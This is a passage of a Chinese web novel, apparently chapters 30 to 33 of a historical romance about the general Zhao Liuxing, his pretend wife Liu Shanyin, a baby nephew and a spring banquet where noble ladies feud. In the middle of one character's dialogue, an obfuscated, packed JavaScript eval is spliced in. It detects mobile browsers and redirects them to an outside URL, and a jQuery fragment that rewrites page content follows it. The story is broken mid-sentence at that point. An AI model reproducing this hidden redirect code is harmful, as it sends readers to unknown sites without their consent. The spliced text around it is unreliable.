她觉得赵留行这回还真是上心了,居然要带着人到侯府去。要知道往前赵留行,可是半分侯府的边也不会沾,今朝算得上百年难遇头一回。他当真是遇着欢心之人,死心塌地了。 “上巳?这时候的堤上柳树繁茂,你带着弟妹好好玩。”何斐真垂眸没说太多,有些事心知肚明就好。她也没有那么口无遮拦。 赵留行嗯了一声。 两边渐渐陷入沉寂,除却孩童的嬉笑声,再无杂音。 上菜的老嬷转个弯就到的功夫,何斐真忽而脑海中闪过什么,拽着郑洛均的衣袖开始止不住地发笑。郑洛均看着她那想笑憋又憋不住的模样,大惑不解:“谁点你笑穴了?你一直笑个啥?” “就是阿娘,你笑什么啊?”小丫头也跟着奇怪。 何斐真拍拍郑洛均,随之将头贴去了他的背后,躲闪开赵留行的注意,“嘘,别说话——你瞧着吧,一会儿老三还得…哈哈哈哈……” “?” 何斐真笑个没完。 郑洛均举目看去对面,怎么也想不明白。 赵留行不与旧友交谈,转头将目光投到了身边人身上。 他问柳善因:“好吃?” 彼时,柳善因正一手举着果脯,一手举着糕点吃得不亦乐乎。 等到赵留行问她,她才快快将口中吃食嚼碎,点头应声说:“好吃,我从没吃过这么好吃的东西,就是过年的时候也没有。但陈阿翁推车卖的饴糖,也很好吃。从前阿兄只有除夕前才会买给我,我一年最开心的就是那几天。” 所以,今日简直就像过年一样! 眼前人的纯粹乐观,叫赵留行无言。他被柳善因感染,竟主动拿起了他平日看都不看一眼的果脯送入口中,只是待他仔细咀嚼过后,却得到了这样的评价。 一般… 非常一般…… 如此一般的东西,她是怎么吃得这么津津有味的?赵留行讶然看向柳善因,柳善因还以为他是喜欢,赶忙将果脯送还到他面前,“夫君是还要吗?” 赵留行抵住盘子摇头说:“不了,都是你的。” “那我就不客气了。”柳善因说着将盘子拽了回去,谁知赵留行又突然莫名其妙把盘子撤走三分,“别吃太多,待会儿还有午饭,省得吃不下。” 他那言外之意其实是没什么好吃的,少吃。 柳善因却不情不愿地应了声:“好,我知道了。” - 老嬷布菜自是给客人先上。 何斐真就在对面一脸看戏地往赵留行那望,她看郑洛均也看,郑洛均看孩子们也看。如此一家五口就这么直勾勾看着赵留行他们仨,好在赵留行和柳善因,一个不在意,一个顾不上。 不若定说这郑家人失礼。 老嬷一边端菜一边报名,前几个倒是没什么异常,直到那份瞧着黏黏糊糊的东西被端上桌,还正正好被搁在了赵留行面前,连柳善因这般反应慢的人都顿觉大事不妙。 “红枣山药泥,郎君娘子请用。” “呕——” 果不其然,老嬷话音未落赵留行便猛地从桌前弹起,逃去了老地方。 “哈哈哈哈哈哈。” 何斐真张狂的笑声,随之在院中传开。 郑洛均这会儿总算明白媳妇笑个什么,他也咧嘴想笑却又不好意思笑,总觉得有些不地道,“你什么时候加了红枣山药泥?我记得昨儿咱俩对菜的时候,没有这道啊?你该不会是故意……” “阿娘,红枣山药泥怎么了?”郑合钰也是个好事的。 何斐真没理郑洛均,她低头摸了摸闺女的脑袋,“没怎么,这道菜是阿娘临时给小钰加的,你前几日积食不舒服,红枣山药泥健脾养胃,小钰记着多吃些。” 小丫头点点头,“小钰要全吃光!” 柳善因看着赵留行从自己身旁走远,刚想起身去追,就被何斐真抬手阻止。 她说:“弟妹,你别管他。我家三郎最开始照顾老大的时候不也是这样?你叫他多吐几回就好,做什么事总得有个过程不是?咱们怀孕的时候多辛苦啊,他们受这点罪,吃这点苦又能怎的?你听我的安心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15168977|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下,别抱着孩子折腾。咱们吃咱们的,他吐好了自己会回来。” “开席,开席——” “好。” 柳善因碍于情面不得已重新坐了下, 但她的心思自坐下那刻,就再也没从赵留行转身的方向离开过…… - 柳善因他俩离开郑家的时候,差不多已过了酉时三刻。 今日这么一趟折腾下来,赵留行一进屋门倒头就埋进了被窝,任凭柳善因怎么叫都不说话。 柳善因无奈便不搭理他。 她心里始终惦记着自己那块刚整好的菜园子,只瞧回屋换罢衣裳,掉头迎着夕阳就往后院跑。然土酥去过郑家后没回家,不知又去哪疯跑了,所以这会儿就只剩柳善因一人在后院忙活。 大抵过了半个多时辰,白昼将尽。 柳善因浇好最后一块菜地,一抬头却见一个高大的身影隐约立在那边的拱门前。 家中只一个男丁,哦不对,是一个半。柳善因不用猜都知道是谁,她收好水桶浅笑道:“我以为夫君要睡到明日去,怎么跑到这儿来了?是找我吗?” 赵留行一动不动站在黯淡处。晚风吹动树影,将他的目光一分为二,很久很久,他才环臂走到柳善因面前抛出一句倔强的:“饿了。” 柳善因被他无辜的语气,和异常严肃的表情逗笑。她想他不饿才怪,人吐了那么久,最后也没怎么好好吃东西,能不饿吗? 他又不是铁做的。 只不过…… 柳善因先是转眸看了眼漆黑的厨屋,而后才眯眼笑着与不远处的赵留行柔声说:“土酥不在,我做给你吃吧,鸡蛋面行吗?” 赵留行想起白日的事,在柳善因面前多少有点挂不住。可面子哪有饿肚子重要?他又不会做饭,也只能寄希望于眼前人,他望着柳善因柔情似水的双目不好意思地说:“麻烦你了。” 柳善因摆摆手,“不要客气,给夫君下碗面也是应当的嘛。” 瞧着是跟赵留行熟络,她竟然能跟他开起玩笑来了。 只是,这玩笑开得真叫人发羞,平日里当着外人的面柳善因唤赵留行夫君倒没觉得有什么,可眼下只剩他二人时还叫的这么亲昵,就显得暧昧不已。 等柳善因呆呆的脑袋追上笨笨的嘴巴,顿时烧红了脸颊。看来今晚的鸡蛋面,就用她这颗红鸡蛋好了。 “还需要我帮你做什么吗?” 可柳善因面对的是谁?是赵留行这块千年木头。赵留行在闻言后,依旧将这声夫君当做是应付上巳的训练,没有任何遐想,他直勾勾看着柳善因,柳善因却一溜烟转身跑了。 “不用了赵赵将军,你搬张桌子坐外面吧——” 简简单单一碗鸡蛋面,费不了多久功夫,对于柳善因这持家的小女郎来说,还不是手到擒来。 赵留行坐在廊外飘忽的石灯边,安静等待,跳跃的灯火烧亮了他的眼。 下一刻,看着那碗冒着金光的鸡蛋面端上桌,他不由得睁大了眼睛,不成想等再一抬眼,就连做面的人此刻居然也是煜煜生辉着…… 她在碗里加了什么?还是自己饿花了眼! 眼前人怎的在发光? 赵留行仰视着柳善因,找不到问题的答案。直到柳善因到他面前坐下,圆圆的脑袋正巧挡住了石灯的光亮,他才恍然大悟,哦原来是灯给耀的…… “吃吧。” 柳善因见赵留行不动筷,伸手轻轻将碗朝他推近,她边推边解释道:“你别嫌弃,是非常家常的味道。以前家里能吃的东西不多,所以我也只会做这些东西。” 赵留行黯淡了眼神,重新垂下了头。 他默默拿起木筷夹上一口面条送进口中,随即便说:“好吃,有家的味道。” 家的味道? 尽胡扯。 赵留行压根不知家的味道是什么,但不知为何,等他尝出面中那股子淡淡的葱花香,便鬼使神差说了这样的话。他似是觉得家的味道,大抵应是如此。 柳善因坐在对面托着下巴微微笑,“好吃就行,你要是喜欢,我下次还给你做。” 此间静谧,一切都是那样美好。爹爹狼吞虎咽,阿娘笑眼瞧,娃娃自己在屋里睡得香甜。不远处的菜园子上呀,还有流萤绕啊绕。 而后待赵留行喝罢最后一口面汤,温暖过辘辘的饥肠,这才像是想起了什么般抬眼唤了声:“小柳。” “怎么了?”柳善因眨眨眼。 赵留行在开口前起身,端着饭碗就打算到院中去刷洗。 柳善因见状急着上前去抢,却被赵留行一把按了下,她力不敌赵留行,就只能抬头看着赵留行背身走远,“没顾上问,今天你跟何二娘俩人去后院都说什么了?” 问话的人漫不经心,听话的人却瞬时大惊。 柳善因偏过头去,心虚着不敢看他。 赵留行偏站在水盆边惑然回首,“小柳?我同你说话呢?”柳善因怔怔回过头,正巧对上赵留行抛来的炽热目光,心下一片慌乱竟傻傻应了声,“你真想听啊?” 那可千万把碗拿稳了…… 30-40 第31章 第31章小赵带娃 院里追悔莫及的爹,恍然愣在书房外。 院外赶鸭子上架的娘,却已捧着那朵娇艳的芍药花登了侯府派来的马车。前来恭候的使人,用着惑然的目光看向车上人,柳善因无解对望。可那人却没多说什么,只缓缓敛去目光,叫车夫启程。 盛春园是先帝给老太傅赐的私人园林,园子不大,却富贵非凡,锦绣成堆,离柳善因出发的地方也不算太远,大概一两刻钟便能抵达。 后来,马车停在盛春园不远的拐角处,柳善因听使人掀帘与自己说:“娘子,请移步下马,夫人在对面等您。” “哦好。” 她一个人乖巧坐在当中点点头。 使人再垂眸无言。 等柳善因捧着花小心翼翼走到对面那气派的马车跟前时,车上人打了窗,如常懒懒将人相望,里头随行的少女趁势笑着探出头来,跟柳善因高兴地摆了摆手,“娘子,咱们又见面了~” 秦宿荷还没开口,就被人抢了先。 她转眸看了一眼姜阿月,姜阿月吓得赶忙缩了回去。 柳善因怯怯抬头,没敢应声,秦宿荷便沉声说了句:“上来吧,与我们一道往园子去。” 要与眼前人共乘一车,柳善因显得多少有些紧张,她总觉得她们身上有着与自己不一样的东西,是举手投足间的从容,是一言一行里的自信与倨傲。 总之,她与她们就是两个世界的人。 可既然是在帮赵赵将军演戏,她就得认认真真,不能有丝毫懈怠。 柳善因从车厢外探进身,姜阿月虽不再敢抢着说话,但脸上的笑容却一直没停。她似是很喜欢眼前人。待到柳善因在她面前坐稳,她便看着眼前人不失礼貌地冲秦宿荷问了声:“侯夫人好。” “六娘子好。” 秦宿荷靠在软坐上点点头。 等马车行进,她上下打量起这抱花而来的女郎,忍不住开口问道:“你抱着这花盆作甚?” 柳善因恍然抬眸,“探春宴不是要带花吗?” 这样的回答,叫秦宿荷哭笑不得。 柳善因眨眼不语,她就这么眼睁睁看着眼前人在坐直身子后,缓缓伸手将她盆里那精心养护了好几日的桃花飞雪随意掐下,秦宿荷沉声说:“是要戴花,但不是你这么个带法。” 柳善因看着花朵赫然落进秦宿荷掌心,那叫一个心疼,却没敢反驳。 还没等她缓过劲来,秦宿荷已转手将花簪在了她的发髻上,“年年探春宴女眷们都要斗花,可斗赢了能怎样?斗输了又能怎样?高高在上的人依旧高高在上,无名小卒照样无名。但不赢可以,却不能坏了规矩。你们年轻,就跟这刚摘的芍药花一样娇嫩美丽,这花衬你。” 秦宿荷从此刻起,好似在提点柳善因关于王城,关于高门的规矩。 她虽和王城那些讲究身份门第的人一样,打心眼里不能接受这样一个籍籍无名的女人做赵留行的正妻,但如今二人生米煮成熟饭,加上赵留行对其百般呵护,真心相待。 她也只能暂 且容忍。 秦宿荷不在乎其他,她只要赵留行能好好收心留在洛阳,不再跟赵二娘那疯子到北庭卖命去。 柳善因猜不透眼前人心里的事,她单在扫视过二人头顶的鲜花后,恍然大悟。原来这花是要拿来斗的。可只为一个输赢,便要折下这么好的芍药花,真是可惜…… 最终,柳善因搁下了手里落寞的花盆,变成了跟她们一样头顶簪花的人。 她听不懂秦宿荷的话里话外,只能点头回应- 赵留行在柳善因走后,孤身抱着小家伙回了屋。 他随手将小家伙放在坐床上,转头打算去旁边的房间,把身上的衣裳换了。 谁知道,等他刚准备抬脚出门,小家伙就跟意识到人要离开似的,呀呀直叫,弄得他不得不掉头回来,“小子,你叫什么?我换个衣裳就回来,耽搁不了多久。” “还能把你丢了不成?” 赵留行盯着床上的小人看了半晌,心想自己跟他解释个什么劲,他又听不明白,便头也不回地转身离去。可小家伙却没打算放过他,只闻坐床上的声音从咿呀直叫,变成了小声哼唧。 赵留行跟着娃娃呆了这么久,自然知晓他下一步就要嚎啕大哭,以引得大人的注意。 若真叫他到了那一步…… 他简直不敢想,后果会是个什么样。 于是乎,赵留行一个箭步冲到坐床边,伸手把小家伙抱起,瞬将危机解除,他说:“行了行了小祖宗,我带着你一块去还不行吗?” 跨进厢房的门,赵留行将娃娃搁在了床上。 自从跟柳善因同住在一起后,他就不再像从前一样想脱衣就脱衣,想倒头睡觉便倒头睡觉。他甚至把自己所有物什都搬到了厢房,将屋里的空当都让给了柳善因。 娃娃有人陪了,不哭也不闹了,只目不转睛地盯着赵留行看。 赵留行往哪他追着往哪,看得他无奈半脱着里头的衣裳,隐约露着健硕的胸膛,指着小家伙厉声道:“你看什么看?不许看。” 可小家伙能听懂个什么,他歪着脑袋依旧看个没完。 赵留行忍不住又将衣裳穿回,抬手将小家伙整个人转了过去。小家伙忽然背对着身后人一脸懵,他就趁着这个间隙,速速将衣裳换好,回到了寝屋去。 这时候,赵留行已经困得两个眼皮分不离,他把小家伙扔在小床上,转头就倒在了坐榻里,连那搁在柜子上的铺盖也没顾上拿下来。 只是半梦半醒间,娃娃为何还在叫? 小祖宗怎么没完没了…… 赵留行本想装作没听到,但好似肩上的责任叫他又迷迷糊糊起了床,他两眼昏昏将小床拉近,最后耷拉着脑袋趴在了小床的栏杆上,就是这样他也能睡着! 小家伙望着床边的人,不再动弹,好奇地抓住了赵留行的手指头。 赵留行则打起了呼噜,他实在太累了。 可等小家伙将指头玩厌了,就开始去抓他的耳朵,起初没什么,直到那只邪恶的小手,一把揪住了他的鬓角,疼得赵留行顿时从梦中惊醒,与小家伙纠缠起来。 “松手。” 赵留行先是出言警告。小家伙眨眨眼,揪住他不放。他便不得不先礼后兵,忍痛咬牙道,“行小子,是你不放手的,莫要怪我不跟你讲道理——” 话落手起,赵留行也毫不留情揪上了小家伙为数不多的头发。 如此两方对峙,能力悬殊,小家伙终是败下阵来。赵留行见状起身揉了揉自己受伤的鬓角,他眯起眼睛得意地看向坐床上的小人,只是他真赢了吗? 小家伙的绝杀还在后头。 这一遭娃娃再没了哼唧,直接嗷得一声大哭起来。 完蛋…… 刺耳的哭声如一阵气波冲击而来,赵留行闻声两眼一黑,心呼自己跟他较劲干嘛?揪鬓角就揪吧,那不过是疼一会儿的事,等他玩累了自然会松手。 这下好了,给他惹哭了,就再不是疼那么简单了。 眼下觉睡不成是小,就连清净也没了。 可世间哪有后悔药?赵留行终究要为惹上小家伙付出代价。 且看他伸手抱起他的小祖宗,谁成想小祖宗脾气大,记着他的仇哄了半晌也不见哭声变小,就这么哄来哄去,别说怀中的娃娃哭个不停,就是他个七尺男儿也想跟着哭泣。 赵留行欲哭无泪坐在门廊,第一次感受到柳善因是如此重要。 威武霸道的宁远将军被一个初生的娃娃,折磨得不像样。这一刻,他才了悟自己并非是无所不能的,他甚至觉得能一边带孩子,一边干活的柳善因,才是个真正的强者。 他抬眼望天,娃娃垂眸哭地。 就这么挺着挺着,束手无策的赵留行忽而冒出一个念头,不成…就找找柳善因去吧?再这么下去,他和小家伙不是你死就是我活了……- 盛春园外,锦簇的花团如画开万卷,春色从低矮的院墙溢出一直流淌到行人脚边。 姜阿月拉着柳善因先下了马车,秦宿荷则在车上更换珠钗。 彼时,柳善因与姜阿月并肩立在贵女往来的小道上,不敢随意抬眼。但瞧今日春光明媚,每一朵娇艳的花下都映着一张美好的脸,柳善因从没见过这样的场面,她觉得自己都快被她们淹没了,可殊不知自己髻上的芍药花开得极旺,竟叫众人纷纷回看。 姜阿月摇了摇柳善因的手臂,丝毫不吝啬夸奖,她在天光下仔细瞧,“娘子把这花照看的真好,就是某些人家专门请的匠人,也不见得有娘子弄得好呢!” 柳善因有些不好意思,就没接腔。 她墨迹半晌,才说了句:“你头上的桃花也很好看……” 姜阿月闻言喜出望外,她摸了摸头顶粉嫩的桃花,惊喜道:“真的吗?娘子还是第一个说我这桃花好看的人!家里都说我这花挑的丢人……一点也不懂欣赏!还是娘子更懂花!” 姜阿月今日不为输赢,便只簪了束自己院中盛开的粉桃花。 她在王城呆了十几年,早知这场探春宴的输赢从一开始就已注定。既是那些人做的一场游戏,她个过客,倒不若选个喜欢的让自己高兴。 秦宿荷虽为此不满,但碍于侯爷宠爱六娘,也就没多说什么。 姜阿月说罢眯眼一笑,笑得跟她髻上的那朵桃花一样灿烂,叫柳善因紧张的心情跟着放松不少。 二人就如同其他成群结队的贵女一样,在绚丽的花丛前说说笑笑,偏又被一声轻蔑的话语打断了这平静的美好,“你竟有资格参加洛阳城鼎鼎大名的探春宴?也不瞧瞧自己的斤两!” “你说——” 谁呢。 姜阿月听见这话瞬间不悦,她刚准备出言跟人对峙,就被贺松月吓得闭了嘴。 姓贺的,她可惹不起。 第32章 第32章来者不善 贺松月起初只瞧见了柳善因的脸,并未察觉她身边站着的人。 直到姜阿月转过头,她转眸盯上了她。 这人是谁? 王城之下,还能有人与她结伴? 贺松月上下打量,姜家的女儿实在太多,六娘又鲜少出门,她不认识眼前人也正常,但姜阿月认得她,威名赫赫的滏阳郡主,处处招摇的霸道王女,叫她如何不认得。 姜阿月甚至还记得前几年,也是在这探春宴上,因为自己名中也带了个月字,就被那些谄媚贺松月的人一顿拉踩挤兑,气得她有好久未曾出门。 只是这种小事,眼前人恐怕早就忘了吧! 姜阿月回看贺松月 ,眼神中隐隐带着怨气。 贺松月挑起眉,带着偏见冷哼,头顶的洛阳红就跟她的性子一般扎眼。 她刚想开口说些什么,就被不远处缓步行来的秦宿荷打断,“能来这儿的,哪个不是收了晋国夫人亲自下的帖,郡主说她有什么资格参加?还是说郡主是对晋国夫人的安排不满?” 奉宁侯夫人说话终究有些分量。 贺松月也是个欺软怕硬的,她转头看见秦宿荷,一时无言。 秦宿荷在小道上站定白了一眼她,眼前人这些年在王城的名声算不得好,她想就个这样的跋扈货,怎堪为三郎良配?哪怕她姓贺,是呈王的女儿又如何?要是真叫三郎吧她娶回家,可还有太平日子过? 秦宿荷觉得贺盈安一心想让贺松月嫁给赵留行,并不是真的为了让贺赵两家情谊永固。她分明就是见不得她儿好,要报复她儿,也报复她。 若是如此,她倒宁愿那姓柳的老实丫头做她儿的媳妇。 “六娘,你们过来。” 秦宿荷朝姜阿月摆了摆手,姜阿月便将柳善因一块带到了她面前。 六娘? 原来这小女郎是姜家六娘。 贺松月诧然去看,她不敢相信短短两旬柳善因竟然勾搭上了奉宁侯府,好手段!真是小瞧了她去——可她压根不会认秦宿荷这个生母,她眼中只有贺盈安才是赵留行唯一的母亲。 秦宿荷打算略过贺松月往园中去,不料却与西边行来的贺盈安碰个正着,还真是冤家路窄了。 秦宿荷停下打眼瞧,来人金钗堆满头,那高昂的下巴这么多年半分也没落下。 贺盈安沉声唤松月,贺松月立刻恭恭敬敬地迎了上去。 如此两边对立在小道的东与西,叫过路的女眷纷纷退避。护军赵家和奉宁侯府的旧事,谁人不知?那年单为这事,王城闹得可谓沸沸扬扬。 两家为了避嫌,更是深入简出几年等有了新的绯闻,将其淡忘才算作罢。 可到了什么时候都有胆大的,只听有人在不远处议论起那件事来,“诶,长公主和侯夫人怎么对上了?那事都过去多少年了?都到这个岁数还计较什么?过好自己的日子得了。” “非也,你怎么知晓是因为原来那事?我瞧着前段时间赵家三郎拒婚的事,闹得也不小。” “原来那事是什么事?”议论间,有人茫然发问。那最先开口的人闻言环顾四周,接着小声说,“就是侯夫人和赵护军和离后,改嫁给奉宁侯的事啊。” “这不废话吗?” “啧啧,要是真有这么简单便好了!你是不知侯爷在娶侯夫人之前,还有段半年便草草散场的婚事呢!你快猜猜这人是谁?” “……长公主啊?” 答案都摆在明面上,叫人猜不到都难。 话音落去,众人唏嘘。当时王城蜚语都道:姜侯娶错了人,秦氏嫁错了女,两家这段阴差阳错的姻缘,早该颠倒过去,便不会引来那么多是非与恩怨。可等事隔经年看来看去,其中倒霉的…… 好似只赵留行一人而已。 贺盈安看到秦宿荷时,依旧带着敌意。 她虽嫁进赵家许多年,赵无征无论真假总惧她三分,护军府里她亦是唯我独尊,但她还是不甘心。她不明白姜大郎那样刚直的人,怎么碰上秦宿荷就能温柔成那样,却从未想过是自己的问题。 然秦宿荷这些年过得安逸,早将陈年旧事抛下,她礼貌唤了声:“殿下。” 贺盈安没理她,她转眸跟贺松月说:“我跟你说过什么?” “你都忘了?” 贺松月到了贺盈安面前,温顺地就跟个小白兔一样,垂眸连道不敢,“姑母的教诲,松月自当谨记。姑母说——不要与自己不相匹的人纠缠,会失了身份,会被他们污了心神。” 贺盈安在秦宿荷的话音里,凝视起对面的人,姑侄两个还真是一样的目中无人。 秦宿荷敬着贺盈安是天家的人,却并非是怕。 她抬脚几步向前,最终站在贺盈安面前笑着去问:“率土之滨,莫非王臣。请殿下告诉我,什么是不相匹的人?谁又是不相匹的人?” 贺盈安直视着秦宿荷,她的笑让她厌恶,她将目光拉远毫不避讳落在了柳善因身上。柳善因被迫站在她们之中,懂不得她们的较量,在与贺盈安对视后,眼中也只剩下彷徨。 僵持的气氛,在晋国夫人的女使到来后被打破。 女使瞧见秦宿荷加快了脚步,她先是问了长公主安,转而便与秦宿荷张口:“夫人,您怎的在这儿,叫奴婢好找。我们夫人请您过去,已等您许久了。” 老太傅的面子,就是皇帝也得给三分,莫说贺盈安一个无实权傍身的长公主了。 她在闻言后放任秦宿荷领着人远走。 “姑母,您就这么放人走了?咱们就这么算了?那秦氏的态度未免太过嚣张,您就能忍得下这口气?” 贺松月心中不爽,免不得抱怨一二。 贺盈安却盯着柳善因的背影若有所思,却还不忘变脸奚落身边人,“就这么放人?贺松月,你若想叫你父王丢了洛阳的差事,滚回他的寿州去,你便尽管拦着晋国夫人要寻的人。” 没有呈王,谁还认她个滏阳郡主? 贺松月见状赶忙认错,可贺盈安却就此沉默,她想是得想办法好好查查那丫头了- 盛春园的位置,是赵留行从长夏那问来的。 巳时刚过几刻,赵留行实在受不住小家伙的摧残,就抱着其冲出了家门。小家伙眼下倒不似之前哭得嚎啕,但仍是时不时地便会哭上两声,让人心焦。 赵留行以防万一,还是踏上了“寻妻”之路。他实在是再经不起小祖宗的折磨了。 而后探春宴刚开,只见在那才子与佳人翩翩往来的秀丽园子中,忽然突兀地出现了个抱着个娃娃,面色憔悴的人夫于四下张望……吓得不知缘由的贵女们,纷纷侧眼相看,低声议论。 因为能在探春宴上带娃前来的男子,他可谓是头一个。 事出有因,赵留行哪顾得上那些怪异的目光? 他只一心在一众长得十分相像的女郎中,寻找自家的那一个。可这事似乎并不容易,不大的园子里,怎么满是跟柳善因年纪差不多的少女?这叫他怎么找得到? 就是他等得起,小祖宗可等不起,倘若小祖宗在此地哭起来。他还怎么活得下去? 赵留行寻人的目光愈渐焦灼。 而在园子的某处,姜阿月随着秦宿荷去拜见了晋国夫人,柳善因则低眉坐在位子,没跟任何人接触,偏再次碰着滏阳郡主来者不善。 但这回贺松月身边围了不少人,瞧着那些人一个个趋炎附势的模样,就知没一个好相与。柳善因偏过头,想着多一事不如少一事,不与她们对上眼神,大抵过去就算了。 谁成想,这群乌合之众里竟有人想在贺松月面前表忠心,便在一旁帮腔嘲笑起柳善因来,“瞧瞧这是哪来的糟糠妇人,当是早被赵家三郎嫌弃,浑身孩子的乳臭味,叫人好没食欲。” 这话一听就是贺松月首肯的。 她们惯是欺负柳善因嘴笨,支支吾吾憋红了脸,也说不明白。若是换个牙尖嘴利的,还不叫她们好看!难不成……今日柳善因就要受了这窝囊气? 如此千钧一发之际,随着几声与这园子格格不入的啼哭传来,被折磨得不成样子的赵留行终于将人寻到,抱着小祖宗是一路眼含热泪走到柳善因身边,当着众人的面便不管不顾道:“孩他娘,我可找到你了!没有你,我是一刻也活不下去。” 柳善因听见动静抬头望,慌里慌张唤了声:“赵赵将军!” 哪知,众人反应更是诧异,“赵,赵留 行?” 第33章 第33章郎情妾意 赵留行的到来狠狠打了众人的脸,人家一家三口此刻团聚在盛春园中相亲相爱,难舍难分,反叫贺松月瞧上去像个笑话。 如此,吃人的罗刹来了,谁能不怕? 一群做贼心虚的人顿在原地这会儿连个屁也不敢放,她们打眼瞧面前的儿郎发髻凌乱,面如死灰,就仿若刚跟谁干了场仗般。 “你怎么到这儿来了?是出什么事了吗?”孤坐在地上的柳善因抬起头,满眼委屈地望向将她解救的人,赵留行顺势坐在她身边,等再抬手,他便着急将小祖宗送了出去。 柳善因一头雾水接过小侄子。 赵留行瞬间如释重负,连眼神都跟着清亮起来。 他随手拿起桌案上的水盏饮用,惹得柳善因见状欲言又止,他却已是将杯中水下了腹,“没出什么事,就是小家伙闹着找你,我实在弄不了他,只能来寻你了。若不是你在这儿,我才不会来。” 到底是谁闹着要找柳善因?某人净说胡话。 赵留行淡然说罢搁下水盏,转眸盯上了那群遇事生风的女郎,瞧他张口时丝毫不懂什么叫怜香惜玉,“你们一个个杵在这儿作甚?是没有自己的去处吗?没有自己的去处就寻,别总惦记着别人的位子。” 赵留行好似指桑骂槐,可他只是一贯爱这么讲话罢了,却叫贺松月这心怀鬼胎的听着,怫然作色转头而去。 挑事的走了,赵留行总算落得个清净。他转过身一瞧,他这小祖宗果然只要一到了柳善因怀里,就瞬间变乖,连哭泣声也渐渐停止下来。 如此好了,总算解脱了。 “对了小柳,你刚才想说什么?”赵留行看着垂眸哄娃的女郎漫不经心地追问,柳善因恍惚抬眼,毫无底气地应声,“没,没什么,我只是想告诉赵赵将军,那水盏是我用过的……” 什么—— 赵留行闻言盯着面前的水盏,如坠深渊,他不敢细想,待到沉默半晌才道了声:“…抱歉。” “我不是有意的。” 柳善因跪坐案前垂目不语,小家伙已在她怀中渐渐睡着。赵留行则在旁双手撑地仰面望去头顶飞散的落红,洛阳城的春月总是这样的惊艳着过客的眼与心。 两个人就这么享受着对方带给自己的安宁,于盛大的探春宴里并肩而坐。 彼之春光灿烂,哪怕一言不发也是快意。 待到沉默半晌,赵留行忽而偏过头好奇地问:“小柳,你带出门的花呢?去哪了?” “赵赵将军猜猜?”柳善因远离了那些人,竟然有心思开起玩笑来,但瞧她抱着小家伙小心翼翼靠到赵留行面前,一脸期待地朝他相问。 言语间,女郎卷翘的睫毛扑扇扑扇,像只灵动的蝴蝶。 赵留行凝眸相看,最终将目光定在了她那被天光照亮的发髻上,可他不解,“你精心照料那么久,怎的摘了?” 赵留行和柳善因原先的反应一个样。 柳善因闻言噘噘嘴,敛回灵动的眼眸,“诶,都是没办法的事,夫人说这是探春宴的规矩,大家都得戴,就把花给摘了。” 又是这些破规矩,赵留行摇摇头。 他转眸看了看女郎明艳的鲜花,又看了看女郎失落地脸庞,鬼使神差地安慰起她,“不过这花的使命倒也结了——鲜花亮人,你戴着好看。” 可到底是花好看?还是人好看? 赵留行没说清。 柳善因却傻傻转过头,被他的话一扫阴霾,她就那么直勾勾看着他道是:“真的吗?谢谢!” 瞧瞧,姑侄两个怎么这么像?总能把人看得“无地自容”!赵留行不知是羞于适才说过的话,还是害怕女郎如炬的目光,总之他赶忙装作困倦的样子,打了个大大的哈欠。 柳善因勾头问他,“赵赵将军,你困了吗?” “……” 废话?这还不明显吗? 赵留行无言头朝柳善因躺在了她身边的地垫上,随之仰面环起双臂,他沉声告诉柳善因,“我睡会儿,你不必管我。差不多等该走的时候,叫我就好。” 心安了,困意随着来了。 赵留行想有柳善因在,自己总算能睡个好觉了。柳善因亦是知晓眼前人昨夜练兵辛苦,便乖乖嗯了一声,“今天真的不好意思,让你这么累,还要照顾小宝。你安心睡吧,我在旁边给你守着。” 照顾……那倒也谈不上。 赵留行不敢作声,他哪敢与眼前人言说自己在家与小家伙互揪头发,只能佯装已经进入梦乡。 尽管探春宴的人和事叫柳善因晕头转向,但盛春园的春色当是她这辈子看过最美的景象,巧夺天工的楼阁,潺潺的曲水,以及数不尽的万紫千红,无不迷了她的眼。 柳善因左看右望,瞧了又瞧,最终却还是将眼眸落在了赵留行身上。 天光堪堪照上赵留行的眉心,被柳善因注意到,她怕光线刺眼会扰了他的好觉,便默默盘腿朝赵留行坐好,用单薄的背脊替他挡住了耀眼的光。 赵留行睡得正香,丝毫察觉不出身边人在为自己做什么。 柳善因刚坐稳给小家伙换了个姿势,偏偏又遇落花无情,一瓣瓣飘落,落在了她的发顶,也落在了赵留行的面庞。柳善因垂下眸,小心翼翼地去捻赵留行脸上的花,可是天光太盛,叫她看不清。 柳善因只得将腰弯了再弯,直到把距离拉近到能嗅到彼此的呼吸。 她在捡花,路人在看她。 有些好事的,早将适才发生的一切都看在眼里,不由得与同行人说道说道。 “瞧吧,这两个关系还真是好得紧呢。原先只听赵家三郎拒了滏阳郡主的婚,我还不明白怎么回事呢,现在我算是看明白了,人家这郎情妾意,连孩子都有了,怪不得说把婚事拒了就给拒了。啧啧,真是没想到啊,偭规越矩的赵家三郎,背地里是个情种呢——” “谁说不是呢,可我瞧着他寻这女郎也没什么特别的啊,不知赵三郎着什么迷了!不过你说那滏阳郡主也是,她又不是嫁不出去,她只要是想嫁,什么样的人家找不到啊?非得缠着赵三郎干嘛?怪,一个两个奇怪的要命。依我看,这都是上辈子的债,扯都扯不完。” 王城之下,藏不住是非。 这边有人说长道短,那边姜阿月被秦宿荷差使着过来寻人,可等到了柳善因跟前,她却看着柳善因弯腰与身边人近在咫尺的动作,将人误会。 “你,你在和他干嘛!”姜阿月哎呀一声侧过身去。 柳善因茫然抬眸,没听懂姜阿月的意思,下意识嘘了一声,“六娘,你小声些,赵赵将军在睡觉。” “三哥哥?” 姜阿月诧然回眸,她本以地上躺着的是哪个眼前人在宴上结识到的小郎君,未曾料竟是赵留行。不过说来也是,柳娘子怎么看也不会是那么狂野放荡的人啊,到底是自己误会她了。 姜阿月探头往前看,赵留行就睡在柳善因的身边,叫她惑然,“三哥哥怎么跑到这儿来了?” 按照往常,赵留行是断不会踏进这种地方一步的。 